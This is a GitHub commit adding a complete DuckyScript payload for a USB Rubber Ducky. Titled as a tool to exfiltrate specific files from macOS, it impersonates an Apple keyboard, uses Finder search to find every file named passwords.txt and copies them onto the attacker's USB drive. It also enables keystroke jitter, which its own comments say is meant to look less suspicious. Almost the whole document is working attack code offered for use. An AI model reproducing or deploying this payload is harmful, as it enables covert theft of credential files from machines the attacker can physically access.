Create payload.txt

pull/294/head
Kile 2023-04-07 15:07:06 +02:00 committed by GitHub
parent 83b78578af
commit 470bbbf59d
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 89 additions and 0 deletions

View File

@ -0,0 +1,89 @@
REM TITLE Exfiltrate specific file macOS
REM AUTHOR Kile
REM DESCRIPTION Opens the terminal, then uses search to find all files matching filename and copies them to the DUCKY
REM NOTE This is not unlikely to fail depending on the speed of search or if a large amount of files meet the criteria. Adjust DELAYs to your needs
ATTACKMODE STORAGE HID VID_05AC PID_021E
DELAY 2000
REM the filename for the payload to look for
DEFINE #target passwords.txt
REM Given that it uses the GUI it is a good idea to enable jitter to be less suspicious
$_JITTER_ENABLED = TRUE
REM This function tabs the amount of times it takes from a finder search to go onto the first file result (4)
FUNCTION DO_TABS()
VAR $COUNTER = 0
WHILE ($COUNTER < 4)
TAB
DELAY 100
$COUNTER = ($COUNTER + 1)
END_WHILE
END_FUNCTION
REM Open finder
COMMAND SPACE
STRINGLN finder
DELAY 500
REM Command n spawns a new window. This makes sure there is only one finder tab (for tabbing to the files later)
COMMAND n
REM Open search bar in finder
COMMAND f
DELAY 200
REM type target filename
STRING #target
DELAY 200
REM This specifies that the passwords.txt has to be a filename and not be in any file
DOWN
ENTER
ENTER
REM Give a bit to find all files
DELAY 500
REM now 4 tabs to get to the first file result
DO_TABS()
REM select all files that have the specified target in their name
COMMAND a
REM Copy the files
COMMAND c
DELAY 500
REM Go back to search window
COMMAND f
DELAY 200
REM Delete previous search
DEL
REM Search for DUCKY USB
STRING DUCKY
DELAY 200
DOWN
ENTER
REM Specifies that the "DUCKY" has to be an external USB drive
STRING Volume
DELAY 200
DOWN
DOWN
DOWN
ENTER
ENTER
REM This can take annoyingly long to show up which is why the delay is so big
DELAY 6000
REM Go to first result
DO_TABS()
REM Open the drive
COMMAND o
DELAY 1000
REM This takes a few seconds
REM Paste the copied files. As this may take a few seconds given on how many results there were there is a long delay
COMMAND v
DELAY 7000
REM Hide
ATTACKMODE OFF